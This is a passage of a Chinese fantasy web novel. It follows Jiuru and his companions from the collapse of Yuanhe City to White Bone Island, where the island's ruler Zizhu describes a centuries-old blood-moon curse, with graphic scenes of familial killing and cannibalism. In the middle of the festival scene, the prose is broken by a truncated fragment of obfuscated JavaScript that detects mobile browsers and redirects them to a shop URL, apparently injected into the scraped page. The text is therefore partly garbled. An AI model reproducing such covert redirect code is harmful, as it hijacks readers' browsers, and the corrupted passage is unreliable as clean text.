“所以,我帮你们,引导你们,甚至……欺骗你们。” 他苦笑:“我说谎了。我说真正的非宝被封印在镇魂蛇体内,我说我是他的分身,我说我要救他。” “其实,根本没有真正的非宝和分身的区别。” “只有一个非宝——就是我。那个被封印在镇魂蛇体内的,是我的一部分,是我被黑塔强行剥离出来的‘人性’。黑塔将我的善良,我的怜悯,我的痛苦,所有属于‘人’的情感,全都封印在了镇魂蛇体内,只留下一个冷血的、只知道执行命令的傀儡。” “而我,就是那个傀儡。” “直到刚才,直到我亲手杀死了那个被封印的‘自己’,直到那些被剥离的情感回归……” 非宝的声音开始颤抖,身体也开始变得透明。 “我才终于……完整了。” “但也……要消散了。” 九如心中一紧:“什么意思?” “黑□□塌,圆合城封闭了三百年的通道重新打开,这是好事。”非宝的声音越来越轻,“但坏消息是,圆合城里的所有人——包括我——都是依靠黑塔供给的灵能存活的。黑塔是源头,我们是分支。源头断了,分支自然也会枯萎。” 他看了看自己的手——那只手已经开始变得透明,能看到后面的景象。 “你看,已经开始消散了。” “不止是我,整个圆合城,所有依靠黑塔灵能存活的人,都会在灵能散尽的那一刻,彻底消失。” “就像……现在这样。” 他指着楼下的那些暗红色液体。 那些液体,正在以肉眼可见的速度蒸发,化作红色的雾气,升上天空,融入那片血红色的云层中。雾气越来越浓,越来越密,最后将整个圆合城都笼罩在一片红雾之中。 而在红雾中,那些液体彻底消失了。 连带着那些衣物,那些饰品,那些曾经属于人类的痕迹,全都消失了。 干干净净,像是什么都没有存在过。 一座城。 一座存在了三百年的城。 一息之间,全毁。 非宝的身体也越来越透明,几乎要看不见了。但他还在笑,那笑容很淡,很温柔,像是终于得到了解脱。 他从怀中掏出一样东西,抛给九如。 九如接住。 那是一条小小的石头蛇。 只有巴掌大小,通体漆黑,雕刻得栩栩如生。蛇身盘绕,蛇头昂起,眼睛是两颗红色的宝石,在血红色的光芒下闪烁着妖异的光。 “这是镇魂蛇的……核心。”非宝的声音已经微弱得几乎听不见了,“它没有死,只是……沉睡了。拿着它,也许……对你有用。” 九如握紧石头蛇,感觉手心一片冰凉。 “还有一件事……”非宝看着九如,眼神变得无比认真,“如果……如果你能见到他……见到那个白发金瞳的人……替我带句话……” 他顿了顿,一字一句地说: “下次别救了。” 话音落下,非宝的身体彻底消散了。 化作无数细碎的光点,像萤火虫一样,在空中飞舞,盘旋,最后缓缓上升,融入那片血红色的云层中。 消失了。 彻底消失了。 九如站在原地,看着空空如也的楼顶,看着空空如也的圆合城,看着空空如也的……一切。 心里浮起熟悉的酸涩。 又是这样。 又一次,他眼睁睁看着一个人——或者说,一个存在——在他面前消失。而他,什么也做不了。 他救不了桃花村的少女,救不了什刹海的乌禾,救不了圆合城的非宝。 他谁也救不了。 他甚至……连自己是谁,都弄不清楚。 “九如……” 白砚的声音将他从思绪中拉回。 九如转过头,看到白砚正皱着眉头,看着自己的右手臂。 他卷起袖子,露出手臂。 手臂上,布满了黑色的咒文。 不是纹身,不是画上去的,而是从皮肤下面浮现出来的,像是某种烙印,某种诅咒。咒文扭曲诡异,散发着不祥的气息,正缓缓向上蔓延,已经覆盖了整个小臂。 “这是……”白砚的脸色变得很难看,“反噬魂咒。” 烈风煌也凑过来看,眉头紧锁:“你做了什么惊天缺德事?这种咒文我见过一次——是在一个屠了一整个村落的魔修身上。他死后,身上就浮现出这种咒文,据说是被他杀害的人的怨念凝聚而成,会慢慢吞噬他的魂魄,让他永世不得超生。” 白砚摇头:“我没有杀那么多人。” “那怎么会……”烈风煌突然想到什么,看向九如,“是因为杀了镇魂蛇?” 九如心中一动。 镇魂蛇。 守渊者的灵兽。 如果他真的是守渊者的转世,如果他杀了守渊者的灵兽…… 那这种反噬,似乎说得通了。 但他不敢确定。 他看着白砚手臂上那些黑色的咒文,看着它们缓缓蔓延,看着白砚越来越苍白的脸色,心中涌起一股不祥的预感。 “先离开这里。”九如说,声音有些沙哑,“这地方……不对劲。” 四人——或者说三人,芒种已经吓得说不出话,只能紧紧抓着烈风煌的手——迅速离开了圆合城。 他们穿过那片血红色的雾气,穿过那些空无一人的街道,穿过那些曾经繁华、如今死寂的建筑,终于回到了昆丘山的山林中。 回头望去,圆合城已经被红雾完全笼罩,什么都看不到了。 像是……从未存在过。 九如握紧手中的石头蛇,又看了看白砚手臂上的咒文,心中沉甸甸的。 他知道,这一切,都还没有结束。 非宝的遗言,镇魂蛇的核心,守渊者的谜团,白砚的诅咒…… 还有那个,他一直寻找的金瞳白发的人。 所有的线索,所有的谜团,都指向同一个方向—— 深渊之门。 那个白砚说过的地方。 那个据说能找到守渊者的地方。 九如深吸一口气,望向远方的天际。 那里,太阳正在升起。 新的一天开始了。 但他们的旅程,还远未结束。 12. 白骨岛珠十年约 又是逼人的黑夜。 这一次的黑暗与以往不同,不是虚无的空洞,而是实质的、粘稠的、仿佛浸透了鲜血和怨念的黑暗。九如感觉自己被浸泡在某种冰冷的液体中,液体从四面八方挤压着他,让他呼吸困难,动弹不得。 然后,手出现了。 不是一双,不是十双,而是无数双——从黑暗中伸出,密密麻麻,像一片手组成的森林。那些手干枯而惨白,皮肤薄得像一层纸,能看见下面青黑色的血管。指甲很长,尖锐如钩,泛着乌黑的光泽。 它们抓住了他。 抓住他的头发,抓住他的衣袍,抓住他的手臂,抓住他的腿脚。无数只手,疯狂地拉扯,像是要将他撕碎,分食。 “为什么不救我……” 声音从四面八方传来,低沉、沙哑,像是无数人在同时低语,重叠在一起,形成一种令人毛骨悚然的和声。 “你既然当上了守渊者,为什么不救我们!” 九如想要说话,想要辩解,但嘴巴像是被什么东西缝住了,一个字也吐不出来。他只能拼命摇头,拼命挣扎,但那些手的力量太大了,大得像是整个世界的重量都压在了他身上。 “我们供你上台,为你流血,为你拼命……” “你却视我们如泥土,踩在脚底……” “你这个背叛者!” “叛徒!” “不得好死!” 怒骂声越来越响,越来越尖锐,像无数把锥子,狠狠刺进他的耳朵,刺进他的大脑。九如感觉自己的脑袋要炸开了,无数画面在眼前闪现—— 燃烧的城池,倒塌的宫殿,堆积如山的尸体,流淌成河的鲜血。 还有一张张脸。 男人的,女人的,老人的,孩子的。 每一张脸上都写满了绝望,写满了愤怒,写满了……仇恨。 他们在看着他。 死死地看着他。 像是在控诉,像是在质问,像是在……诅咒。 然后,锤子出现了。 不是真正的锤子,而是一种感觉——像是有人用锤子在砸他的脑袋,一下,两下,三下……每一下都重如千钧,每一下都让他感觉颅骨在碎裂,脑浆在飞溅。 嗡鸣声在耳边响起,越来越响,像是有千万只蜜蜂在同时振翅。窒息感越来越强,肺部像是被抽空了,无论怎么用力呼吸,都吸不进一丝空气。 疼痛,无处不在的疼痛。 从头顶到脚底,从皮肤到骨髓,每一寸都在疼痛,都在燃烧,都在……崩溃。 他感觉自己正在融化。 像蜡烛一样,在火焰中一点点融化,化作一滩粘稠的、恶心的液体。 而那个融化后的“他”,还要眼睁睁看着这一切,看着自己消失,看着自己彻底不复存在。 不…… 不要…… 我不想死…… 我不想消失…… 救我…… 谁来……救救我…… “啪!” 脸上传来火辣辣的疼痛。 不是梦境中那种虚无的痛,而是真实的、结结实实的巴掌。疼痛刺激着神经,像是一把钥匙,猛地捅开了意识深处紧锁的门。 黑暗如潮水般退去。 嘈杂的声音消失了,拉扯的手消失了,锤子的重击消失了。 取而代之的,是刺眼的光。 阳光。 灼热的、明亮的、带着生命气息的阳光,像一柄利剑,狠狠刺穿了他紧闭的眼睑,直抵瞳孔深处。 九如猛地睁开眼睛。 眼前是一片宝蓝色的天空,纯净得像被洗过的宝石,没有一丝云彩。阳光从天空倾泻而下,洒在身上,暖洋洋的,驱散了梦境中残留的寒意和恐惧。 而在他眼前,占据了大半个视野的,是一张脸。 一张……生动得有些过分的脸。 乌黑的头发编成无数条细小的辫子,用彩色的丝带系着,在阳光下闪着细碎的光芒。皮肤是健康的小麦色,光滑细腻,透着青春的活力。眉毛细长,像两弯新月,此刻正因为某种情绪而微微扬起。 但最引人注目的,是那双眼睛。 大而圆,瞳孔是罕见的琥珀色,像两汪清澈的泉水,倒映着蓝天和他的倒影。眼睫毛很长,像两把小扇子,此刻正随着眨眼的动作轻轻扇动。眼睛下方,左眼角处,有一粒小小的泪痣,朱砂般的颜色,为她添了几分妩媚。 此刻,这双眼睛正一眨不眨地盯着他,里面满是好奇和……担忧? “你叫什么呢?”一个清脆的声音响起,带着一丝戏谑。 九如呆呆地看着她,大脑一片空白。 “九如……”他下意识地回答。 话音刚落,那张脸的主人——烈风煌——嘴角一瘪,露出一个“果然如此”的表情。 “完了,”她转过头,对旁边的人说,“脑子彻底摔坏了。” 九如这才注意到,旁边还站着一个人。 白砚。 他蹲下身,眉头紧锁,那双总是沉静的深褐色眼睛里此刻满是担忧。他伸手在九如眼前晃了晃,试探着问:“你还认得出我是谁吗?” 九如眨了眨眼,终于彻底清醒过来。 他撑起身子,环顾四周。 这是一座岛。 一座……美丽得有些不真实的岛。 他们此刻正躺在一片柔软的沙滩上,沙子是纯白色的,细腻得像面粉,在阳光下泛着柔和的光芒。沙滩不远处,是一片碧蓝的海水,海水清澈见底,能看到水底五彩的珊瑚和游动的小鱼。海浪轻轻拍打着海岸,发出舒缓的“哗哗”声。 更远处,天空是纯净的蓝色,飘着几朵棉花糖似的白云。海天相接的地方,有一条清晰的分界线,像是用尺子画出来的。 而岛上,种满了棕榈树。 不是零星几棵,是成片成片的,几乎覆盖了整个岛屿。棕榈树很高,最高的足有三四人高,宽大的叶片像一把把巨大的扇子,在微风中轻轻摇曳,投下斑驳的光影。 九如他们刚才就躺在一棵巨大的棕榈树下——树干粗壮,需要两人合抱,树冠如伞盖般张开,为他们遮挡了部分阳光。 除了他们,岛上还有其他人。 三三两两的,分散在沙滩和树林间。他们都穿着彩色的衣裳——不是布料,更像是用某种植物的纤维编织而成,染成鲜艳的颜色:赤、橙、黄、绿、青、蓝、紫,像是彩虹的碎片散落人间。 最奇怪的是,他们没有穿鞋,赤着双脚,在沙地上行走,却步履轻盈,像猫一样。而且,每个人的头顶都顶着一个巨大的圆盘。 圆盘是用某种轻质木材制成的,直径约莫三尺,边缘雕刻着复杂的花纹。圆盘上装着很多东西——水果、食物、工具,甚至还有小型的盆栽。他们顶着圆盘,却能保持平衡,行走自如,像是头顶上什么都没有一样。 九如看得目瞪口呆。 “这又是哪……”他喃喃道,感觉大脑完全不够用了。 刚才还在昆丘山的圆合城,黑□□塌,非宝消散,白砚身上出现反噬魂咒……怎么一转眼,就到了这么一个……奇怪的地方? 烈风煌在他身边坐下,手中不知何时多了一个橘子。橘子是金黄色的,皮很薄,散发着清新的香气。她慢条斯理地剥开橘子,一瓣一瓣,动作优雅得像在完成某种仪式。 橘子剥开,酸甜的味道在空气中弥漫开来,刺激着九如的嗅觉。 他下意识咽了咽口水——经历了连番战斗和奔波,他已经很久没有好好吃过东西了。 烈风煌瞥了他一眼,嘴角勾起一个狡黠的弧度。她掰下一瓣橘子,却没有自己吃,而是递到九如嘴边。 “尝尝?”她说,眼睛弯成月牙。 九如犹豫了一下,还是张嘴接住了。 橘子在口中爆开,汁水四溢,酸甜适中,带着阳光的味道。一股暖流从胃部扩散开来,驱散了身体的疲惫和寒意。 “好吃吗?”烈风煌问。 九如点头。 烈风煌笑了,那笑容明媚得像阳光:“好吃就对了。这橘子是我刚从那边的树上摘的,新鲜着呢。” 她顿了顿,话锋一转:“不过,现在不是吃橘子的时候。你得先告诉我——” 她凑近九如,琥珀色的眼睛紧盯着他,一字一句地问: “你把我们带到这破地方,是想干什么?” 九如一愣:“我?我把你们带来的?” “不然呢?”烈风煌挑眉,“难道是我们自己飞过来的?” 九如看向白砚,希望他能给出一个合理的解释。 但白砚的脸色也很难看。他一把抓住九如的肩膀,用力摇晃:“我说你这什么奇怪的技能!每次昏过去后就不记得事!你那个黑色的漩涡一样的东西到底是什么?只要你一昏迷就会出现,然后将我们都吸进去,接着就到了这破岛!” 他越说越激动,手上的力道也越来越大:“快!带我们回去!圆合城的事还没完,白砚身上的诅咒还没解,我们没时间在这度假!” 九如被摇得头晕眼花,脑子更乱了。 黑色的漩涡? 他昏迷后会出现? 还会把人吸进去,传送到别的地方? 他怎么一点印象都没有? “什么漩涡?我也不知道这是哪啊。”他挣扎着说,“我梦里全是乱七八糟的,现在醒了更是回忆不起一点……” 他说的是实话。 刚才那个噩梦——那些手,那些声音,那些疼痛——现在回想起来,虽然还残留着恐惧和痛苦,但具体的细节已经模糊不清了。像是一场真实的噩梦,醒来后只剩下一片残影。 而关于“黑色漩涡”的事,他更是完全没印象。 烈风煌和白砚对视一眼,都从对方眼中看到了无奈和……一丝警惕。 他们架起九如——不是搀扶,是真的“架”,一人一边,抓着他的胳膊,将他从地上提了起来。 九如吓了一跳:“你们要干什么?” “这个地方是你带来的,肯定有你的因果。”白砚说,语气不容置疑,“先去刷刷脸,说不定有人认识你。” “刷脸?”九如一脸莫名,“刷什么脸?我又不是这里的……” 话没说完,已经被两人架着向前走了。 芒种跟在后面,怯生生地看着周围的一切,小手紧紧抓着烈风煌的衣角,像一只受惊的小兔子。 四人沿着沙滩向前走。 那些头顶圆盘的岛民看到他们,都投来好奇的目光,但没有人上前搭话,也没有人阻拦。他们只是看着,眼神清澈而单纯,像是在看什么稀奇的动物。 走了约莫一刻钟,来到了岛屿的中心。 这里没有沙滩,没有树林,而是一片开阔的空地。空地中央,矗立着一座巨大的白色建筑。 是真的“巨大”。 建筑呈圆形,直径至少有百丈,高也有三十丈以上。通体洁白,像是用最纯净的白玉砌成,在阳光下泛着柔和的光芒。建筑表面没有任何装饰,光滑如镜,能倒映出天空和周围棕榈树的影子。 建筑外围,已经围满了人。 还是那些穿着彩色衣裳、头顶圆盘的岛民,但此刻他们的圆盘上装的不是水果食物,而是各种各样的……小人。 是的,小人。 用稻草扎成的小人,约莫巴掌大小,形态各异,有的穿着衣服,有的光着身子,有的手里拿着东西,有的头上戴着帽子。每个小人的胸口,都贴着一张纸,纸上写着歪歪扭扭的字——九如不认识那种文字,但看笔画的复杂程度,应该不是随便写的。 岛民们头顶着这些“小人”,正围在白色建筑的外围,形成一个巨大的圆圈。他们低声交谈着,语气兴奋而期待,像是在等待什么重要的仪式。 九如四人挤进人群。 白砚一边挤,一边大声喊:“不好意思!有病人!借过借过!碰伤了全责!” 这话很管用。 岛民们听到“病人”两个字,脸色都变了,纷纷避让,生怕被传染什么不治之症。很快,一条直通建筑门口的道路被清了出来。 建筑门口,站着几个人。 不是普通的岛民,而是……看起来像是“官方人员”的人。 他们穿着统一的红色绸衣,外罩白色的毛领披风,腰间佩着银色的短刀,神色严肃,眼神锐利。最中间的,是一个少女。 一个……美得惊人的少女。 她看起来约莫十六七岁,穿着一身粉色的雕花长裙,裙摆层层叠叠,像是盛开的花朵。长发如瀑,用一根玉簪松松束在脑后,几缕碎发垂在脸颊两侧,衬得皮肤愈发白皙细腻。 她的脸很精致,像是精心雕琢的玉像。眉毛细长如柳叶,眼睛大而明亮,瞳孔是罕见的浅紫色,像是盛满了星光的紫水晶。鼻梁挺直,嘴唇小巧,嘴角天生上扬,带着三分笑意。 此刻,她正站在建筑门口的高台上,手中拿着一根……芦苇? 是的,就是普通的芦苇,约莫三尺长,顶端还带着几片细长的叶子。 她身边,站着两个侍女。侍女穿着淡绿色的长裙,手中举着一个金色的盆,盆里盛满了清水,水面漂浮着几片花瓣。 少女从侍女手中的金盆里,用芦苇沾了点水,然后轻轻一挥—— 水珠洒向周围的人群。 “哗——” 人群爆发出热烈的欢呼声。 “再来!再来!” “多洒点!多洒点!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109777|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >少女笑着,又沾了点水,继续洒。她一边洒,一边用清脆的声音高喊: “打你小人头,打到冇气透!” “打你小人脚,打到冇钱收!” “打你小人手,打到冇朋友!” “打你小人背,打到冇人爱!” 每喊一句,就洒一次水。而每一次洒水,都会引起人群更热烈的欢呼。 九如看得目瞪口呆。 这……这是在干什么? 驱邪?祈福?还是……某种奇怪的娱乐活动? 烈风煌勾着脑袋,眼睛盯着台上的少女,嘴角勾起一个欣赏的弧度:“嚯,这大小姐长得真俊,是我的菜。” 白砚则朝旁边的一个岛民打听:“请问,这是在做什么?” 那是一个年轻的男子,穿着橙色的衣裳,头顶的圆盘上放着三个稻草小人。听到白砚的问题,他转过头,用好奇的眼神打量着四人。 “你们……不是本地人?”他问,口音有些奇怪,但勉强能听懂。 白砚点头:“我们是外来的,刚刚到这座岛。” 男子的脸色变了。 不是变得警惕,而是变得……惊恐。 “外、外来的?!”他的声音陡然提高,像是看到了什么可怕的东西,“有敌袭!!有敌袭!!” 他一边喊,一边向后跑,头顶的圆盘都差点掉下来。 而他这一喊,像是点燃了导火索。 刚才还沉浸在欢乐气氛中的人群,瞬间炸开了锅。 “敌袭?!” “哪里?在哪里?!” “保护岛主!保护圣女!” 混乱中,那些身穿红衣白毛领的护卫迅速行动起来。他们拔出腰间的短刀,将台上的少女团团围住,警惕地看向九如四人的方向。 而其他的岛民,则像受惊的鸟群一样,四散奔逃,眨眼间就跑得干干净净,只留下满地狼藉——掉落的圆盘,散落的稻草小人,还有打翻的食物和工具。 空地中央,只剩下九如四人,和对面的护卫队。 气氛瞬间紧绷。 九如连忙举起双手,示意自己没有恶意:“我们是外来的,没有恶意!只是想问问路——” 话没说完,一个护卫已经冲了过来。 不是试探,不是警告,而是直接攻击——手中的短刀闪着寒光,直刺九如的胸口! 九如脸色一变,侧身躲开,同时一把抓住旁边吓傻的芒种,向后一跃,拉开了距离。 “等等!我们真的没有恶意!”他试图解释。 但护卫根本不听。 更多的护卫冲了上来,刀光闪烁,招招致命。 白砚一杵将两个护卫击退,脸色难看:“是他们先动手的!” 烈风煌更是直接拔出了修罗刀,眼中闪过兴奋的光芒:“啧,真是野蛮的地方,不过我喜欢。” 说完,她已经冲了出去。 银色的刀光在空中划出优美的弧线,快如闪电。两个护卫还没反应过来,手中的短刀就被斩断,胸口多了一道浅浅的伤口——烈风煌手下留情了,只划破了皮肉,没有伤及要害。 但见血了。 鲜红的血,滴在白色的沙地上,格外刺眼。 这一下,彻底点燃了火药桶。 “他们伤了护卫!” “杀了他们!” “保护岛主!” 更多的护卫从建筑里冲出来,眨眼间就将四人团团围住。人数至少有三四十,每个人手中都握着短刀,眼神凶狠,像是要将他们碎尸万段。 九如心中暗叫不好。 虽然这些护卫的实力不算强,但人数太多,而且他们不能下杀手——一旦杀了人,就真的结下死仇了。 “烈风煌!别伤人!”他喊道。 “是他们先动手的!”白砚一边挥舞金杵格挡攻击,一边吼道。 就在这时,一个轻柔却清晰的声音响起: “都住手。” 声音不大,却带着一种不容置疑的威严。 护卫们动作一顿,齐齐转头看向声音的来源—— 是那个粉色长裙的少女。 她从护卫的保护圈中走了出来,提着裙摆,一步一步,走下高台,向九如四人走来。护卫们想要阻拦,被她轻轻挥手制止了。 她走到九如面前,停下。 那双浅紫色的眼睛,一眨不眨地盯着九如,像是在确认什么,又像是在回忆什么。 然后,她开口了,声音里带着一丝不确定,一丝期待,还有一丝……难以置信: “你是……守渊者大人吗?” 九如一愣。 守渊者? 又是守渊者。 他摇了摇头,诚实地回答:“我不是。我也在找他。” 少女眼中闪过一丝失望,但很快,那失望就被另一种情绪取代。 她眨了眨眼,长长的睫毛像蝴蝶翅膀般扇动,浅紫色的瞳孔里,倒映着九如的脸。 然后,她笑了。 那笑容灿烂得像阳光穿透云层,整个人的气质都变得明亮起来。 “我知道。”她说,声音轻柔得像羽毛,“我知道你不是守渊者大人。但你是他的人,对吗?” 她顿了顿,补充道:“我等了你十年啦。你终于舍得来看我啦!” 十年? 九如彻底懵了。 烈风煌嫌弃地看过来,上下打量着少女:“十年前?十年前他才多大?你别是认错人了吧?” 白砚也有些傻眼,低声对九如说:“还真有因果?你这家伙,到底招惹了多少人?” 九如张了张嘴,却不知道该说什么。 解释十年前自己可能死在别的时空? 还是吐槽他们拿自己当实验品? 或者干脆承认,自己也不知道怎么回事? 最终,他只是看着眼前的少女,问出了最关键的问题: “你是谁?这是什么地方?你为什么……等我十年?” 少女歪了歪头,浅紫色的眼睛里闪烁着狡黠的光芒。 “我叫紫珠,”她说,“是这座白骨岛的岛主。这里是落灯节——我们每年最重要的节日,专门‘踩小人’,祛除晦气。” 她顿了顿,笑容更深了: “至于为什么等你十年……” “因为,十年前,有一个和你长得一模一样的人,来过这里。他告诉我,十年后,会有一个和他很像的人,来这里找我。” “他说,那个人,会帮我解开一个……困扰了我们岛上三百年的诅咒。” 诅咒? 九如心中一凛。 又是三百年。 又是诅咒。 这一切,到底是怎么回事? 13. 血月潮汐崩离时 紫珠的声音在礁石之地回荡,轻柔却沉重,像是一块块石头投入平静的水面,激起层层涟漪,每一圈都浸透着三百年无法洗刷的痛楚。 “白骨岛每到潮汐之夜,就会出现血月。” 她抬起头,望向远处逐渐暗沉的天空。落日余晖在海平面上燃烧,将云层染成橘红与暗紫交织的诡谲色彩,像是天空受伤后渗出的淤血。 “血月当空时,一种无法解释的恶疾会降临全岛。没有人知道那是什么,也没有人知道它从何而来。我们只知道,当月亮变成血红色的那一刻,所有岛民——无论男女老幼,无论身在何处——都会失去理智。” 她顿了顿,声音低了下去,带着一种近乎麻木的平静: “癫狂。” “彻底的、绝对的、毫无保留的癫狂。” “那晚,没有人能保持清醒。没有人记得自己是谁,没有人记得身边的人是谁。脑子里只剩下最原始、最黑暗的冲动——杀戮,破坏,占有,毁灭。” 紫珠转过身,浅紫色的眼睛望着九如四人,那眼神清澈得可怕,像是早已看透了人性最深处的那片黑暗。 “你们见过人间炼狱吗?” 她轻声问,不等回答,便继续说: “我见过。每个月见两次,从我有记忆开始,从未间断。” “血月升起时,丈夫会掐死熟睡的妻子,因为她在梦中翻身的样子‘像一只待宰的猪’。” “母亲会把刚出生的婴儿摔在石头上,因为婴儿的哭声‘吵得她头疼’。” “儿子会把年迈的父母绑在树上,用烧红的铁棍烙他们的背,因为‘他们活得太久了,浪费粮食’。” “兄妹之间……呵,那些事,我甚至说不出口。” 她的手指无意识地绞着裙摆,粉色的布料在她手中皱成一团。 “而最可怕的是,当血月褪去,当黎明到来,当理智重新回归……” “他们会记得。” “清清楚楚地记得自己做了什么,记得每一个细节,记得受害者的表情,记得血液的温度,记得骨头的碎裂声。” “然后,他们会崩溃。” “有人跳海,有人上吊,有人用刀一寸寸割开自己的皮肉,像是要把那具犯下罪孽的身体彻底毁灭。” “三百年来,白骨岛的人口从未增长过。不是因为生育率低,而是因为……每个月,都有人无法承受那份记忆,选择结束自己的生命。” 九如听得背脊发凉。 他经历过无数次死亡,见过无数惨状,但这样周期性的、全岛范围的、清醒后还要面对记忆的疯狂……光是想象,就让他感到窒息。 “你们没有尝试离开吗?”白砚问出了关键问题。 紫珠苦笑。 “试过。无数次。” “我们造了船,造了渡轮,在血月来临前驶入大海,以为远离岛屿就能躲过诅咒。” “但没用。” “血月升起时,无论你在哪里,只要你是白骨岛的人,只要你的身体里流着岛民的血……癫狂就会降临。” “有一次,一艘载着三百人的大船在血月之夜驶到了离岛五十里的海域。第二天,船漂回了岸边。船上没有活人,只有三百具尸体——他们互相残杀,最后幸存的那个人,在黎明到来、恢复理智的瞬间,用桅杆刺穿了自己的心脏。” 她闭上眼睛,深吸一口气: “只有外来者不一样。” “血月对他们没有影响。他们可以保持清醒,可以冷眼旁观岛民的疯狂,可以……做任何事。” “而他们做的事,通常只有一件——” “乘火打劫。” 紫珠睁开眼睛,眼神变得冰冷: “劫走岛上的金银珠宝,劫走仓库里的粮食药材,劫走一切值钱的东西。有时候,他们还会劫走人——年轻的女人,健壮的男人,漂亮的孩子。把他们卖到外面的世界,当作奴隶,当作玩物。” “所以岛民对外来者充满敌意。不是因为我们野蛮,不是因为我们不欢迎客人,而是因为……我们被骗了太多次,被伤害了太多次。” “每一次信任,换来的都是背叛。” “每一次希望,换来的都是更深重的绝望。” 她看向九如,眼神复杂: “直到十年前,那个人来了。” “那个金瞳白发的人。” “他说他叫守渊者。” 九如的心脏猛地一跳。 又是他。 无处不在的他。 紫珠领着他们穿过礁石地。地上散落着森森白骨,有些还很新鲜,上面还粘连着干涸的血肉;有些已经风化,一碰就碎。白骨层层叠叠,几乎铺满了整片礁石区,走在上面,脚下不断发出“咔嚓咔嚓”的脆响,像是无数亡魂在呻吟。 “这些是……”烈风煌皱眉。 “是那些无法承受记忆的人。”紫珠平静地说,“也是那些在疯狂中被杀死的人。我们把尸体集中在这里,等潮水涨起时,海水会带走一部分。但带走的永远没有新增的多。” 她停下脚步,转身看着九如: “你问我是否也被影响。” 九如点头。这是他最疑惑的地方——如果全岛无人幸免,为什么紫珠能保持清醒?为什么她能成为岛主,能在血月之夜维持秩序? 紫珠愣住了。 她看着九如,浅紫色的眼睛里闪过一丝诧异,随即变成了然,最后化作一种温柔的、近乎哀伤的笑意。 “你还是如此敏捷。”她轻声说,像是在对九如说,又像是在对记忆中那个人说,“一下子就抓住了最关键的问题。” 她顿了顿,解释道: “我有圣女之血。” “圣女?”白砚疑惑,“那是什么?” “是诅咒中的一线生机。”紫珠说,“每隔几代,岛上会诞生一个拥有特殊血液的女孩。她的血可以暂时压制疯狂——不是治愈,不是解除,只是压制。在血月之夜,如果岛民饮下圣女的鲜血,就能保持片刻的清醒。” “但只有片刻。” “而且,圣女的血不是无限的。每个月两次血月,每次需要大量的鲜血才能覆盖全岛。三百年来,没有一个圣女活过二十岁——她们要么血尽而亡,要么在岛民恢复理智前,被疯狂中的亲人杀死。” “而我……”紫珠摸了摸自己的手腕,那里有一道道浅浅的疤痕,新旧叠加,像是某种诡异的纹身,“我是这一代的圣女。” “但我无法救所有人。” “我只能保证,在血月之夜,岛民不会互相伤害——至少不会杀死彼此。我会用我的血制作‘圣水’,在血月来临前洒遍全岛。圣水的气味可以形成一个屏障,让疯狂中的人本能地避开彼此。” 她苦笑:“但这只是权宜之计。他们还是会伤害自己,还是会破坏东西,还是会……做出那些事后无法原谅自己的事。” 白砚皱眉:“你的圣女之血,不能分出去?不能让别人也拥有这种能力?” 紫珠摇头,眼神黯淡: “曾经有人这么试过。那是第十九代圣女,我的……曾曾曾祖母。” “她心疼岛民的痛苦,想要救更多的人。于是她做了一个疯狂的实验——她将自己的血注入到年幼的弟弟体内,希望能让他也拥有圣女之血,能分担她的责任。” “结果……” 紫珠闭上眼睛,声音颤抖: “弟弟在血月之夜没有发疯,但他也没有保持清醒。他变成了一个怪物——一个嗜血的、没有理智的怪物。他杀死了曾曾曾祖母,喝干了她的血,然后冲出家门,一夜之间屠杀了半个村子。” “最后,是其他岛民在黎明恢复理智后,合力将他烧死的。” “从那以后,再也没有人敢尝试‘分享’圣女之血。” 烈风煌听完,沉默了片刻,突然问: “你没想过离开?” 紫珠没想到她会这么问,愣了一下:“离开?” “对,离开这座岛。”烈风煌看着她,琥珀色的眼睛里没有同情,只有一种直白的、近乎冷酷的清醒,“潮汐每月来两次,初一十五各一次,一次持续两三天。这么频繁的疯癫,唯独你一人清醒。看着所有人变成怪物,看着他们互相伤害,看着他们清醒后崩溃自杀……这种‘疯癫的清醒’,你受得住?” 这话问得尖锐,近乎残忍。 九如想要制止,但紫珠已经回答了。 她第一次收敛了笑容。 那张总是带着温柔笑意的脸,此刻变得苍白而疲惫。浅紫色的眼睛里,有什么东西在碎裂,在崩塌,在……无声地尖叫。 她沉默了很久。 久到海风都变得冰冷,久到落日完全沉入海平面,久到第一颗星星在天边亮起。 然后,她才缓缓开口,声音轻得像叹息: “我生下来那天,正好是血月之夜。” “母亲在剧痛中生下我,然后……在血月的影响下,她吃掉了刚刚剪断脐带的父亲。” “我是被奶奶养大的。奶奶很疼我,把我当眼珠子一样护着。但三岁那年,又是一个血月之夜,奶奶发疯了。她把我弟弟——那个才一岁多的、还不会说话的弟弟——活活打死在摇篮里。然后她提着弟弟的尸体,走到母亲面前,说‘你看,我帮你报仇了’。” “母亲那时已经半疯半傻——她清醒时记得自己吃了丈夫,崩溃了;疯狂时又什么都不记得。她看着弟弟的尸体,突然暴起,掐死了奶奶,然后把奶奶的尸体……也吃了。” 紫珠的声音很平静,平静得可怕。 “我躲在床底下,看着这一切。看着奶奶打死弟弟,看着母亲掐死奶奶,看着母亲啃食奶奶的尸体。我没有哭,没有叫,甚至没有发抖。” “因为我知道,如果我发出一点声音,下一个被吃掉的,就是我。” “血月褪去后,母亲恢复了理智。她看着满屋的血迹,看着弟弟和奶奶残缺不全的尸体,尖叫着冲出了家门,跳进了海里。” “而我,从床底下爬出来,坐在血泊中,等死。” “但死神没有来。” “来的是岛民。他们发现了屋子里的惨状,发现了坐在血泊中的我。然后,他们发现了我手腕上的印记——” 她抬起手腕,那里有一个淡淡的、银色的印记,形状像一朵小小的花。 “圣女之印。” “岛民们欣喜若狂。他们把我捧上圣坛,给我最好的住处,最美味的食物,还有无尽的爱戴。他们叫我‘小圣女’,叫我‘希望’,叫我‘救赎’。” “他们不疯的时候,真的很好。” 紫珠的嘴角勾起一个苦涩的弧度: “奶奶会给我编花环,母亲会给我唱摇篮曲,邻居的叔叔会把我扛在肩上,带我去看海。岛上的孩子们会和我一起玩耍,大人们会摸着我的头说‘紫珠要快快乐乐长大’。” “那些温暖,那些善意,那些真实的、不掺杂质的爱……” “让我留了下来。” 